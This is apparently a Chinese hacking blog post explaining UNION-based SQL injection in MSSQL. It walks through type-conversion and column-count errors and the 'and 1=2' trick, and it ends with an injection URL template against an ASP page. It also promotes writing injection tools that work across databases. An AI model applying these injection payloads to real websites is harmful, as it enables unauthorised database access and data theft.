ps:本文其實都是廢話,主要是搞清楚我以前的錯誤在哪里 :)
union查詢可以說給了sql注射的一片新的天空,mysql和acc里都可以發揮很大的作用,那么在mssql里會是怎樣呢? 其實我很早就開始測試mssql里的union,不過我犯了個很大的錯誤,以為在mssql里的union會受"數據類型轉換錯誤"的影響,而不可以很好的完成替換工作,實際上是我錯了。這里感謝xiaolu的提醒,THX。
以知
數據表master.dbo.spt_values的列如下:
name (nvarchar(35).null)
number(int,not null)
type(nchar(3),not Null)
low(int, Null)
high(int,Null)
status(int, Null)
我們查詢語句:
select type from dbo.spt_values where name='rpc';
返回:
type
A
查詢:
select type from dbo.spt_values where name='rpc' union select 111;
返回:
服務器: 消息 245,級別 16,狀態 1,行 1
將 nvarchar 值 'A ' 轉換為數據類型為 int 的列時發生語法錯誤。
看到了沒?這個就是"數據類型轉換錯誤",我就是看到這個才犯錯誤的:( 我們看看什么語句union前面的部分 select type from dbo.spt_values where name='rpc' 由于name='rpc'存在 返回的type的類型為nchar 而union后面的 select 111返回的是數據類型為int,所以在union查詢時就出現了上面的錯誤。
如果我們union前面的那個selet查詢的記錄不存在,將會怎么樣呢。
我們查詢語句:
select type from dbo.spt_values where name='rpcssdfsdfsdfds' union select 111;
或select type from dbo.spt_values where name='rpc' and 1=2 union select 111;
上面的語句里name='rpcssdfsdfsdfds'根本不存在 呵呵 這下就沒有錯誤了 成功得到結果:
type
111
下面我們在測試一個語句:select type,name from dbo.spt_values where name='rpc' union select 111;(union前面的查詢輸出type和name 2個字段)
得到錯誤:
服務器: 消息 205,級別 16,狀態 1,行 1
包含 union 運算符的 SQL 語句中的所有查詢都必須在目標列表中具有相同數目的表達式。
哈哈~~ 大家對這個應該錯誤很熟悉了把。union查詢前后字段不對。什么的語句我們改為:
select type,name from dbo.spt_values where name='rpc' union select 111,111; (使前后2個查詢字段一樣)
成功得到結果:
type name
111 111
同樣語句
select * from dbo.spt_values where name='rpc' union select 1,1,1,1,1,1;
因為在表spt_values里有6個字段,所以union后面的查詢必須要有6個字段。
呵呵,其實這個問題在mysql注射文章里寫union查詢的時候已經提過的,這里只是重新拿出來說明下。
小結下:
對于語句select A union select B (A和B不同數據表查詢)
1.union查詢必修是B里的字段要和A一樣。
2.在mssq里的union查詢如果前面查詢A如果數據存在 那么不會象mysql里一樣輸出 前面查詢A的數據,而是出現"將 nvarchar 值 'A ' 轉換為數據類型為 int 的列時發生語法錯誤"這樣的錯誤。
其實在注射中,我們的目的是要求得到語句B的返回結果,使用union查詢替換輸出必需保證語句A得到的結果為空,這個不管是mysql,access還是mssql都是一樣的。
所以我們采用 在注射的id后面加個 and 1=2 如:
http://www.xxx.netVideoPlay.asp?VideoID=1995 and 1=2 union select 1,1,1,1.........這樣的形式,這個和mysql和acc的使用union語句是一樣的,這樣如果我們精心構造我們的語句就可以使注射通用于acc,mysql>4.0,mssql或所有支持union的數據類型。
那么我們的注射工具的編寫將有一個新的開始,幸運的死casi本來就是采用union的 在實際測試用他也可以用與access,mssql,mysql的注射。如下圖:



